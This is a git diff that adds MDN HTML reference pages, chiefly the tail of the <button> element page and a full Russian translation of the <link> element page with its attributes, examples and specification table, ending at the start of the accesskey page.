+  </tr>
+  <tr>
+   <td><code>menu</code> value for <code>type</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko does not implement this feature yet. See {{bug("1241353")}}.</p>
+
+<h3 id="Clicking_and_focus">Clicking and focus</h3>
+
+<p>Whether clicking on a {{HTMLElement("button")}} causes it to (by default) become focused varies by browser and OS. The results for {{HTMLElement("input")}} of <code>type="button"</code> and <code>type="submit"</code> were the same.</p>
+
+<table>
+ <caption>Does clicking on a {{HTMLElement("button")}} give it the focus?</caption>
+ <tbody>
+  <tr>
+   <td>Desktop Browsers</td>
+   <th>Windows 8.1</th>
+   <th>OS X 10.9</th>
+  </tr>
+  <tr>
+   <th>Firefox 30.0</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+  <tr>
+   <th>Safari 7.0.5</th>
+   <td style="background-color: silver;">N/A</td>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+  </tr>
+  <tr>
+   <th>Internet Explorer 11</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Presto (Opera 12)</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>Does tapping on a {{HTMLElement("button")}} give it the focus?</caption>
+ <tbody>
+  <tr>
+   <td>Mobile Browsers</td>
+   <th>iOS 7.1.2</th>
+   <th>Android 4.4.4</th>
+  </tr>
+  <tr>
+   <th>Safari Mobile</th>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+  <tr>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>&lt;button&gt;</code> elements are much easier to style than {{HTMLElement("input")}} elements. You can add inner HTML content (think <code>&lt;em&gt;</code>, <code>&lt;strong&gt;</code> or even <code>&lt;img&gt;</code>), and make use of {{Cssxref(":after")}} and {{Cssxref(":before")}} pseudo-element to achieve complex rendering while {{HTMLElement("input")}} only accepts a text value attribute.</p>
+
+<p>IE7 has a bug where when submitting a form with <code>&lt;button type="submit" name="myButton" value="foo"&gt;Click me&lt;/button&gt;</code>, the <code>POST</code> data sent will result in <code>myButton=Click me</code> instead of <code>myButton=foo</code>.<br>
+ IE6 has an even worse bug where submitting a form through a button will submit ALL buttons of the form, with the same bug as IE7.<br>
+ This bug has been fixed in IE8.</p>
+
+<p>Firefox will add, for accessibility purposes, a small dotted border on a focused button. This border is declared through CSS, in the browser stylesheet, but you can override it if necessary to add your own focused style using <code>button{{cssxref("::-moz-focus-inner")}} { }</code></p>
+
+<p>Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Setting the value of the {{htmlattrxref("autocomplete","button")}} attribute to <code>off</code> disables this feature. See {{bug(654072)}}.</p>
+
+<p>Firefox &lt;35 for Android sets a default {{ cssxref("background-image") }} gradient on all buttons (see {{bug(763671)}}). This can be disabled using <code>background-image: none</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>Other elements that are used for creating forms: {{HTMLElement("form")}}, {{HTMLElement("datalist")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}},{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}}, {{HTMLElement("meter")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}.</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/ссылка/index.html b/files/ru/web/html/element/ссылка/index.html
new file mode 100644
index 0000000000..ea3f78a615
--- /dev/null
+++ b/files/ru/web/html/element/ссылка/index.html
@@ -0,0 +1,336 @@
+---
+title: '<link>: Элемент - ссылка на внешний ресурс'
+slug: Web/HTML/Element/ссылка
+tags:
+  - Ссылки
+  - загрузка
+  - метаданные
+  - предзагрузка
+translation_of: Web/HTML/Element/link
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>Элемент HTML - Ссылка на Внешний Ресурс (<code>&lt;link&gt;</code>)</strong> определяет отношения между текущим документом и внешним ресурсом. Этот элемент чаще всего используется для ссылки на  {{Glossary("CSS", "stylesheets")}}, а также для создания иконок сайта (как для иконок в стиле "favicon", так и для иконок домашних экранов и приложений мобильных устройств) среди прочего.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/link.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>Чтобы подключить таблицу стилей, вы должны включить элемент <code>&lt;link&gt;</code> внутри вашего {{HTMLElement("head")}} следующим образом:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="main.css" rel="stylesheet"&gt;</pre>
+
+<p>В этом простом примере указывается путь к таблице стилей внутри атрибута <code>href</code> и атрибут <code>rel</code> со значением <code>stylesheet</code>. <code>rel</code> означает "отношения (relationship)", и, вероятно, является одной из ключевых особенностей элемента <code>&lt;link&gt;</code>  — значение сообщает как указанный элемент связан с  содержащим его документом. Как вы увидете в нашем справочнике <a href="/en-US/docs/Web/HTML/Link_types">типы ссылок</a>, есть много различных видов отношений.</p>
+
+<p>Существует ряд других распространенных типов, с которыми вы столкнетесь. Например, ссылка на сайт иконок:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="icon" href="favicon.ico"&gt;</pre>
+
+<p>Есть ряд других значений <code>rel</code> для иконок, в основном, используемых для обозначения специальных типов иконок для использования на различных мобильных платформах, например:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="apple-touch-icon-precomposed" sizes="114x114"
+      href="apple-icon-114.png" type="image/png"&gt;</pre>
+
+<p>Атрибут <code>sizes</code> определяет размер иконки, когда <code>type</code> содержит тип MIME связанного ресурса. Они предоставляют советы, позволяющие браузеру выбрать наиболее подходящую иконку.</p>
+
+<p>Вы можете, также, указать медиа тип или запрос внутри атрибута <code>media</code>; этот ресурс будет загружен только в том случае, если media состояние равно true. Например:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="print.css" rel="stylesheet" media="print"&gt;
+&lt;link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"&gt;</pre>
+
+<p>В элемент <code>&lt;link&gt;</code> также были добавлены некоторые новые интересные возможности производительности и безопасности, к примеру:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link rel="preload" href="myFont.woff2" as="font"
+      type="font/woff2" crossorigin="anonymous"&gt;</pre>
+
+<p>Значение <code>rel</code> - <code>preload</code> указывает, что браузер должен предварительно загрузить этот ресурс (смотрите <a href="/en-US/docs/Web/HTML/Preloading_content">Предварительная загрузка контента при помощи rel="preload"</a> для более подробной информации), атрибут <code>as</code> указывает на определенный класс загружаемого контента. Атрибут <code>crossorigin</code> указывает должен ли ресурс загружаться с помощью запроса  {{Glossary("CORS")}}.</p>
+
+<p>Другие замечания по использованию:</p>
+
+<ul>
+ <li>Элемент <code>&lt;link&gt;</code> может присутствовать в элементах {{HTMLElement("head")}} или {{HTMLElement("body")}}, в зависимости от того, имеет ли он <a href="https://html.spec.whatwg.org/multipage/links.html#body-ok">тип ссылки</a>, являющейся <strong>body-ok</strong>. Например, ссылка типа <code>stylesheet</code> является body-ok,и, поэтому,  <code>&lt;link rel="stylesheet"&gt;</code> допускается в body. Однако, это не очень хорошая практика использования; более осмысленно отделять ваши <code>&lt;link&gt;</code> от содержимого body, помещая их в <code>&lt;head&gt;</code>.</li>
+ <li>При использовании <code>&lt;link&gt;</code> для установки favicon сайта, и когда ваш сайт использует Политику Безопасности Контента (CSP) для повышения безопасности, политика применяется к favicon. Если вы столкнулись с проблемой при загрузке favicon, проверьте, что <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"><code>img-src</code> директива</a> заголовка {{HTTPHeader("Content-Security-Policy")}} не препятствует доступу к ней.</li>
+ <li>Спецификации HTML и XHTML определяют обработчики событий для элемента  <code>&lt;link&gt;</code>, но не указывают как они будут использоваться.</li>
+ <li>В XHTML 1.0, пустые элементы, такие как <code>&lt;link&gt;</code>, требуют слеш: <code>&lt;link /&gt;</code>.</li>
+ <li>WebTV поддерживает использование значения <code>next</code> для <code>rel</code> в качестве предварительной загрузки следующей страницы в серии документов.</li>
+</ul>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("as")}}</dt>
+ <dd>Этот атрибут используется только для элементов <code>&lt;link&gt;</code> с атрибутом <code>rel="preload"</code> или <code>rel="prefetch"</code>. Он указывает тип контента, загружаемого <code>&lt;link&gt;</code>, который необходим для определения приоритетов контента, сравнения запросов, применения корректного <a href="/en-US/docs/Web/HTTP/CSP">content security policy</a>, и установки корректного {{HTTPHeader("Accept")}} запрашиваемого заголовка.</dd>
+ <dt>{{HTMLAttrDef("crossorigin")}}</dt>
+ <dd>Этот перечисляемый атрибут указывает, должен ли {{Glossary("CORS")}} использоваться при загрузки ресурса. <a href="/en-US/docs/Web/HTML/CORS_Enabled_Image">CORS-поддерживаемые изображения</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не <em>искажая </em>их. Допустимы значения:
+ <dl>
+  <dt><code>anonymous</code></dt>
+  <dd>Сross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учетные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учетные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}),  изображение будет искажено, а его использование ограничено.</dd>
+  <dt><code>use-credentials</code></dt>
+  <dd>Сross-origin запрос (т.е. с HTTP-заголовком <code>Origin</code>) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учетные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажен, а его использование ограничено.</dd>
+ </dl>
+ Если атрибут отсутствует, ресурс загружается без запроса {{Glossary("CORS")}} (т.е. без отправки HTTP-заголовка <code>Origin)</code>, предотвращая его незагрязненное использование. В случае невалидности, он обрабатывается как при использовании ключевого слова <strong>anonymous.</strong> Для получения дополнительной информации смотрите  <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a>.</dd>
+ <dt>{{HTMLAttrDef("href")}}</dt>
+ <dd>Этот атрибут определяет {{glossary("URL")}}, связываемого ресурса. URL может быть абсолютным или относительным.</dd>
+ <dt>{{HTMLAttrDef("hreflang")}}</dt>
+ <dd>Этот атрибут определяет язык, связываемого ресурса. Он является консультативным. Допустимые значения определяются <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>. Используйте этот атрибут только если присутствуют атрибуты {{HTMLAttrxRef("href", "a")}}.</dd>
+ <dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt>
+ <dd>Указывает на относительную важность ресурса. Приоритетные подсказки передаются используя значения:</dd>
+ <dd>
+ <p><strong><code>auto</code></strong>: указывает на <strong>отсутствие предпочтений</strong>. Браузер может использовать собственную эвристику для определения приоритетов ресурсов.</p>
+
+ <p><strong><code>high</code></strong>: указывает браузеру, что ресурс находится в <strong>высоком </strong>приоритете.</p>
+
+ <p><strong><code>low</code></strong>: указывает браузеру, что ресурс находится в <strong>низком </strong>приоритете.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>Примечание: </strong>Атрибут <code>importance</code> можно использовать только для элементов <code>&lt;link&gt;</code> с атрибутами <code>rel="preload"</code> или <code>rel="prefetch"</code>.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt>
+ <dd>Содержит встроенные метаданные — криптографический хеш-код ресурса(файла) в кодировке base64, который вы сообщаете браузеру для заргузки. Браузер может использовать его для проверки, что загруженный ресурс был получен без неожиданных манипуляций. Смотрите <a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd>
+ <dt>{{HTMLAttrDef("media")}}</dt>
+ <dd>Этот атрибут указывает медиа, который применяет связываемый ресурс. Его значение должно быть типом медиа или <a href="/en-US/docs/Web/CSS/Media_queries">медиа-запросом</a>. Этот атрибут, в основном, полезен при связывании с внешними таблицами стилей — он позволяет пользовательскому агенту выбрать наиболее подходящее устройство для запуска.
+ <div class="blockIndicator note">
+ <p><strong>Примечания:</strong></p>
+
+ <ul>
+  <li>В HTML 4, это может быть только простой, разделенный пробелами, список литералов, описывающих медиа, т.е.  <a href="/en-US/docs/Web/CSS/@media">media типы и группы</a>, которые определены и допустимы в качестве значений для этого атрибута, такие как <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 распространил это на любые <a href="/en-US/docs/Web/CSS/Media_queries">медиа-запросы</a>, которые являются расширенным набором допустимых значений HTML 4.</li>
+  <li>Браузеры, не поддерживающие <a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Media Queries</a>, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиа-запросов, определенным в HTML 4.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt>
+ <dd>Строка, указывающая какой реферер использовать при загрузки ресурсов:
+ <ul>
+  <li><code>no-referrer</code> означает, что заголовок {{HTTPHeader("Referer")}} не будет отправлен.</li>
+  <li><code>no-referrer-when-downgrade</code> означает, что заголовок {{HTTPHeader("Referer")}} не будет отправлен при переходе к источнику без TLS (HTTPS). Это поведение пользовательского агента по умолчанию, если не указано иное.</li>
+  <li><code>origin</code> означает, что реферером будет источник, который соответствует схеме, хосту и порту.</li>
+  <li><code>origin-when-cross-origin</code> означает, что навигация к другим источникам будет ограничена схемой, хостом, портом, в то время как навигация по одному и тому же источнику будет включать путь реферер .</li>
+  <li><code>unsafe-url</code> означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищенных ресурсов в незащищенные источники.</li>
+ </ul>
+ </dd>
+ <dt>{{HTMLAttrDef("rel")}}</dt>
+ <dd>Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделенным пробелами списком <a href="/en-US/docs/Web/HTML/Link_types">значений типов ссылки</a>.</dd>
+ <dt>{{HTMLAttrDef("sizes")}}</dt>
+ <dd>Этот атрибут определяет размеры иконки для визуальных медиа, содержщихся в ресурсе. Он должен быть представлен только, если {{HTMLAttrxRef("rel", "link")}} содержит значение <code>icon</code> или нестандартный тип, например <code>apple-touch-icon</code> Apple. Может иметь следующие значения:
+ <ul>
+  <li><code>any</code>, означает, что иконка может быть маштабируема до любого размера, например в векторном формае <code>image/svg+xml</code>.</li>
+  <li>пробелоразделенный список размеров, каждый в формате <code><em>&lt;width in pixels&gt;</em>x<em>&lt;height in pixels&gt;</em></code> или <code><em>&lt;width in pixels&gt;</em>X<em>&lt;height in pixels&gt;</em></code>. Каждый из этих размеров должен содержаться в ресурсе.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>Примечание: </strong>Большинство форматов иконок могут хранить только одну иконку, поэтому чаще всего {{HTMLAttrxRef("sizes")}} содержит только одну запись. MS's ICO формат, как и Apple's ICNS. ICO более распространены; вы должны использовать их.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("title")}}</dt>
+ <dd>Атрибут <code>title</code> имеет особое значение для элемента <code>&lt;link&gt;</code>. При использовании <code>&lt;link rel="stylesheet"&gt;</code> он определяет <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">предпочтительную или альтернативную таблицу стилей</a>. Неверное использование может стать <a href="/en-US/docs/Correctly_Using_Titles_With_External_Stylesheets">причиной игнорирования таблицы стилей</a>.</dd>
+ <dt>{{HTMLAttrDef("type")}}</dt>
+ <dd>Этот атрибут используется для определения типа связываемого контента. Значение атрибута должно быть типом MIME, такое как <strong>text/html</strong>, <strong>text/css и т.д</strong>. Обычно он используется для определения типа таблицы стилей, на которую делается ссылка (например, <strong>text/css</strong>), но, учитывая, что CSS является единственным языком таблиц стилей, используемым в сети, этот атрибут может быть пропущен, что является рекомендацией.  Он также используется для типов ссылок <code>rel="preload"</code>, чтобы браузер загружал только те типы файлов, которые он поддерживает.</dd>
+</dl>
+
+<h3 id="Нестандартные_атрибуты">Нестандартные атрибуты</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("disabled")}} {{Non-standard_Inline}}</dt>
+ <dd>Этот атрибут используется для отключения отношения ссылки. В сочетании со скриптом, этот атрибут может использоваться для включения и выключения различных отношений таблицы стилей.
+ <div class="blockIndicator note">
+ <p><strong>Примечание: </strong>Хотя в стандарте  HTML нет атрибута <code>disabled</code>, атрибут <code>disabled</code> есть в объекте DOM <code>HTMLLinkElement</code>.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("methods")}} {{Non-standard_Inline}}</dt>
+ <dd>Значение этого атрибута предоставляет информацию о функциях, которые могут выполняться над объектом. Значения обычно задаются протоколом HTTP, когда он используется, но может быть (аналогично атрибуту <strong>title</strong>) полезно заранее включить в ссылку консультативную информацию. Например, браузер может выбрать другое отображение ссылки в зависимости от указанных методов; то, что доступно для поиска может получить другую иконку, или внешняя ссылка может отображаться с указанием перехода с текущего сайта. Этот атрибут не совсем понятен и не поддерживается, даже определяющим браузером, Internet Explorer 4.</dd>
+ <dt>{{HTMLAttrDef("prefetch")}} {{Non-standard_Inline}} {{secureContext_inline}}</dt>
+ <dd>Этот атрибут идентифицирует ресурс, который может потребоваться при следующей навигации, и необходимость получить его пользовательским агентом. Это позволяет пользовательскому агенту быстрее реагировать, когда, в будущем, ресурс будет запрошен.</dd>
+ <dt>{{HTMLAttrDef("target")}} {{Non-standard_Inline}}</dt>
+ <dd>Определяет название фрейма или окна, которое определяет связывающие отношения, или, которое будет показывать рендеринг любого связываемого ресурса.</dd>
+</dl>
+
+<h3 id="Устаревшие_атрибуты">Устаревшие атрибуты</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt>
+ <dd>Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделенный пробелами и/или запятыми, как определено в  {{rfc(2045)}}. Значение по умолчанию <code>iso-8859-1</code>.
+ <div class="note"><strong>Примечание по использованию:</strong> Для получения эффекта использования данного устаревшего атрибута, используйте HTTP-заголовок {{HTTPHeader("Content-Type")}} на связываемый ресурс.</div>
+ </dd>
+ <dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt>
+ <dd>
+ <p><span lang="ru">Значение этого атрибута показывает отношение текущего документа к связываемому документу, как определено атрибутом</span> {{HTMLAttrxRef("href", "link")}}. <span lang="ru">Этот атрибут, таким образом, определяет обратную связь по сравнению со значением атрибута </span><code>rel</code><span lang="ru">. </span><a href="/en-US/docs/Web/HTML/Link_types">Значения типов ссылки </a><span lang="ru">для атрибута аналогичны возможным значениям для</span>   {{HTMLAttrxRef("rel", "link")}}.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>Примечание:</strong> Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что <code>rev</code> <em>не</em> считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределенность, полагаться на <code>rev</code> не стоит.</p>
+ </div>
+ </dd>
+ <dd>
+ <div class="blockIndicator note">
+ <p>Взамен, вы должны использовать атрибут {{HTMLAttrxRef("rel", "link")}} с противоположным <a href="/en-US/docs/Web/HTML/Link_types">значением типов ссылки</a>. Например, чтобы установить обратную ссылку для <code>made</code>, укажите <code>author</code>.Также, этот атрибут не означает "ревизия" и не должен использоваться с номером версии, даже если многие сайты используют его в этих целях.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Стилизация_с_CSS">Стилизация с CSS</h2>
+
+<p>Элемент <code>&lt;link&gt;</code> не имеет визуального представления в веб-документе, поэтому он не должен стилизоваться.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Включение_таблицы_стилей">Включение таблицы стилей</h3>
+
+<p>Включение таблицы стилей на страницы имеет следующий синтаксис:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="style.css" rel="stylesheet"&gt;
+</pre>
+
+<h3 id="Предоставление_альтернативных_таблиц_стилей">Предоставление альтернативных таблиц стилей</h3>
+
+<p>Вы можете указать <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">альтернативные таблицы стилей</a>.</p>
+
+<p>Пользователь может выбрать, какую таблицу стилей использовать, выбрав ее в меню  Вид &gt; Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="default.css" rel="stylesheet" title="Default Style"&gt;
+&lt;link href="fancy.css" rel="alternate stylesheet" title="Fancy"&gt;
+&lt;link href="basic.css" rel="alternate stylesheet" title="Basic"&gt;
+</pre>
+
+<h3 id="Предоставление_иконок_для_различных_контекстов_использования">Предоставление иконок для различных контекстов использования</h3>
+
+<p>Вы можете включить ссылки на несколько различных иконок на одной странице, и браузер выберет, какая из них лучше подходит для его конкретного контекста, используя значения <code>rel</code> и <code>sizes</code> как подсказки.</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;!-- third-generation iPad with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"&gt;
+&lt;!-- iPhone with high-resolution Retina display: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"&gt;
+&lt;!-- first- and second-generation iPad: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="favicon72.png"&gt;
+&lt;!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" href="favicon57.png"&gt;
+&lt;!-- basic favicon --&gt;
+&lt;link rel="icon" href="favicon32.png"&gt;</pre>
+
+<h3 id="Условная_загрузка_ресурсов_с_медиазапросами">Условная загрузка ресурсов с медиазапросами</h3>
+
+<p>Вы можете предоставить тип медиа или запрос внутри атрибута <code>media</code>; этот ресурс будет загружен только в том случае, если условия медиа равно true. Например:</p>
+
+<pre class="brush: html no-line-numbers notranslate">&lt;link href="print.css" rel="stylesheet" media="print"&gt;
+&lt;link href="mobile.css" rel="stylesheet" media="all"&gt;
+&lt;link href="desktop.css" rel="stylesheet" media="screen and (min-width: 600px)"&gt;
+&lt;link href="highres.css" rel="stylesheet" media="screen and (min-resolution: 300dpi)"&gt;
+</pre>
+
+<h3 id="События_загрузки_таблицы_стилей">События загрузки таблицы стилей</h3>
+
+<p>Вы можете определить,  когда таблица стилей была загружена, наблюдая за событием  <code>load</code>, запускающимся в нем; аналогично, вы можете обнаружить, произошла ли ошибка при обработки таблицы стилей, наблюдая за событием <code>error</code>:</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+var myStylesheet = document.querySelector('#my-stylesheet');
+
+myStylesheet.onload = function() {
+  // Do something interesting; the sheet has been loaded
+}
+
+myStylesheet.onerror = function() {
+  console.log("An error occurred loading the stylesheet!");
+}
+&lt;/script&gt;
+
+&lt;link rel="stylesheet" href="mystylesheet.css" id="my-stylesheet"&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Событие <code>load</code> запускается после загрузки и анализа таблицы стилей и всего импортируемого содержимого, непосредственно перед тем, как стили будут применены к содержимому.</p>
+</div>
+
+<h3 id="Preload_примеры">Preload примеры</h3>
+
+<p>Вы можете найти примеры  <code>&lt;link rel="preload"&gt;</code> в <a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with <code>rel="preload"</code></a>.</p>
+
+<h2 id="Техническое_резюме">Техническое резюме</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/en-US/docs/Web/HTML/Content_categories">Каталоги контента</a></th>
+   <td>Контент метаданных. Если есть <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">потоковый контент</a> и <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th>Разрешенный контент</th>
+   <td>Нет, это {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th>Tag omission</th>
+   <td>Так как это пустой элемент, присутствовать должен начальный тэг, конечный - отсутствует.</td>
+  </tr>
+  <tr>
+   <th>Разрешенные родители</th>
+   <td>Любой элемент, принимающий элементы метаданных. Если есть <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: любой элемент, принимающий <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th>DOM интерфейс</th>
+   <td>{{DOMxRef("HTMLLinkElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">
+    <p class="syntaxbox">Комментарий</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Preload")}}</td>
+   <td>{{Spec2("Preload")}}</td>
+   <td>Определены <code>&lt;link rel="preload"&gt;</code>, и атрибут<code>as</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Subresource Integrity", "#HTMLLinkElement", "lt;link&gt;")}}</td>
+   <td>{{Spec2("Subresource Integrity")}}</td>
+   <td>Добавлен атрибут <code>integrit</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "semantics.html#the-link-element", "&lt;link&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Нет изменений, в сравнении с последней версией</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "document-metadata.html#the-link-elemen", "&lt;link&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Добавлены атрибуты <code>crossorigin</code> и <code>sizes</code>; расширены значения <code>media</code> для любых медиазапросов; добавлены многочисленные новые значения для <code>rel</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "struct/links.html#h-12.3", "&lt;link&gt;")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Resource Hints", "#prefetch", "prefetch")}}</td>
+   <td>{{Spec2("Resource Hints")}}</td>
+   <td>Добавлены <code>dns-prefetch</code>, <code>preconnect</code>, <code>prefetch</code> и <code>prerender</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.link", 3)}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}} HTTP header</li>
+ <li><a href="https://pie.gd/test/script-link-events/">Ryan Grove's &lt;script&gt; and &lt;link&gt; node event compatibility chart</a></li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/accesskey/index.html b/files/ru/web/html/global_attributes/accesskey/index.html
new file mode 100644
index 0000000000..209d8b95e5
--- /dev/null
+++ b/files/ru/web/html/global_attributes/accesskey/index.html
@@ -0,0 +1,134 @@
+---
+title: accesskey
+slug: Web/HTML/Global_attributes/accesskey
+tags:
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/accesskey
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <strong>accesskey </strong>дает возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: Спецификация WHATWG допускает использования нескольких символов разделённых пробелом. Однако, на момент написания, эта функциональность не поддерживается в современных браузерах. IE и Edge в таком случае будет использовать первый символ, игнорируя остальные.</p>
+</div>
+
+<p>Активация элементов с помощью Accesskey зависит от браузера и платформы:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th> </th>
+   <th>Windows</th>
